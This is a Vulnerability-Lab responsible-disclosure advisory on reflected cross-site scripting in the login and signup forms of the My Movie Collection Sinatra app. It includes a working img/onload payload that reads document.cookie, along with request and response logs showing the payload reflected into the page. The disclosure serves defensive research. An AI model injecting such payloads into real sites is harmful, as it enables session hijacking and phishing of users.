===============
My Movie Collection Sinatra App - (Login) XSS Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2293
Release Date:
=============
2021-11-01
Vulnerability Laboratory ID (VL-ID):
====================================
2293
Common Vulnerability Scoring System:
====================================
5.1
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Welcome to My Movie Collection Sinatra web app where you can
create, read, update, and delete movies that you own.
Here you can build and keep track of your DVD/Blu-Ray collection.
You can also add movie comments and date purchased.
The code is available as open source under the terms of the MIT
License.
(Copy of the Homepage:https://github.com/jffernan/my-movie-collection )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
non-persistent cross site scripting vulnerabilities in the My Movie
Collection Sinatra web-application.
Affected Product(s):
====================
James Fernandez
Product: My Movie Collection Sinatra app (v2017 & v2018)- Video
Application (Web-Application) (Ruby)
Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security
Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-11-01: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
Multiple non-persistent cross site web vulnerabilities has been
discovered in the official My Movie Collection Sinatra
web-application.
The vulnerability allows remote attackers to inject own malicious
script codes with non-persistent attack vector to compromise
browser
to web-application requests by the client-side.
The non-persistent cross site scripting web vulnerabilities are
located in the username and password input fields of the login and
signup module.
Unauthenticated remote attackers are able to process manipulated
post method requests for logins or signup to inject own malicious
script code
with non-persistent attack vector. The request method to inject is
post and the attack vector is located on the client-side.
Successful exploitation of the vulnerability results in session
hijacking, non-persistent phishing attacks, non-persistent external
redirects
to malicious source and non-persistent manipulation of affected
application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] ./login
[+] ./signup
Vulnerable Input(s):
[+] Username
[+] Password
Vulnerable Parameter(s):
[+] username
[+] password
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be
exploited by remote attackers without account and with low user
interaction.
For security demonstration or to reproduce the cross site web
vulnerability follow the provided information and steps below to
continue.
PoC: Exploitation
"><img src="/evil.source" onload="alert(document.cookie)"
<
--- PoC Session Logs (POST) ---
https://sinatra-my-movie-collection.localhost:8000/login
Host: sinatra-my-movie-collection.localhost:8000
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 183
Origin:https://sinatra-my-movie-collection.localhost:8000
Connection: keep-alive
Referer:https://sinatra-my-movie-collection.localhost:8000/login
Cookie:
rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVm
NGZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg
10cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiG
UhUVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0A--0b309977af0b38c2447b5de4853c1057e744939c
username="><img src="/evil.source"
onload="alert(document.cookie)" <&password="><img src="/evil.source" onload="alert(document.cookie)" <
-
POST: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Location:https://sinatra-my-movie-collection.localhost:8000/
Content-Length: 0
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)
-
https://sinatra-my-movie-collection.localhost:8000/evil.source
Host: sinatra-my-movie-collection.localhost:8000
Accept: image/webp,*/*
Connection: keep-alive
Referer:https://sinatra-my-movie-collection.localhost:8000/signup
Cookie:
rack.session=BAh7CUkiD3Nlc3Npb25faWQGOgZFVEkiRWExYmI3MzNjMjY0MzI0OWFmZjhm%0ANTBkZDJmY2U1Y2VmMTljMjM0ODljYWY2NTVmN
GZjNmQ5OWM3YWE5OTNiMzcG%0AOwBGSSIJY3NyZgY7AEZJIjFzWWZUWmJzK2F2VjZYVUVweHBhdDh1LzROUUdQ%0AaXozNmsyWkhabzJYRDhJPQY7AEZJIg10
cmFja2luZwY7AEZ7B0kiFEhUVFBf%0AVVNFUl9BR0VOVAY7AFRJIi1jYjExMDUyYzliMTQyYzkyMmMwOTQzMDAwNmQ5%0AMTk1ODk5ZTVhNGYwBjsARkkiGUh
UVFBfQUNDRVBUX0xBTkdVQUdFBjsAVEki%0ALWRkMDY1ZWQyNjNjNjdkNzk5Zjk0M2FiNmMzOWI1NWM1ZTAwOGNiYjUGOwBG%0ASSIMdXNlcl9pZAY7AEZpAj
oC%0A--1380e0331772015e3a17a365d51a8ec2ef977a09
-
GET: HTTP/1.1 200 OK
Connection: keep-alive
Content-Type: text/html;charset=utf-8
Server: WEBrick/1.3.1 (Ruby/2.3.3/2016-11-21)
Vulnerable Source: Signup / Login (nav)
<html><head>
<title>My Movie Collection</title>
</head>
<body><nav>
<a href="/movies/new">Enter new movie</a>
<a href="/movies">See your movies</a>
<a href="/logout">Logout</a>
<h3>Welcome, "><img src="/evil.source"
onload="alert(document.cookie)" <!="" <!--capitalize=""
1st="" letter="" of="" username--="">
</h3></nav>
Reference(s):
https://sinatra-my-movie-collection.localhost:8000/login
https://sinatra-my-movie-collection.localhost:8000/signup
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is
without any warranty. Vulnerability Lab disclaims all
warranties,
either expressed or implied, including the warranties of
merchantability and capability for a particular purpose.
Vulnerability-Lab
or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business
profits
or special damages, even if Vulnerability-Lab or its suppliers have
been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may
not apply.
We do not approve or encourage anybody to break any licenses,
policies, deface websites, hack into databases or trade with stolen
data.
Domains:www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com
infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages,
of this file requires authorization from Vulnerability
Laboratory.
Permission to electronically redistribute this alert in its
unmodified form is granted. All other rights, including the use of
other
media, are reserved by Vulnerability-Lab Research Team or its
suppliers. All pictures, texts, advisories, source code, videos and
other
information on this website is trademark of vulnerability-lab team
& the specific authors or managers. To record, list, modify, use
or
edit our material contact (admin@ or research@) to get a ask
permission.
Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
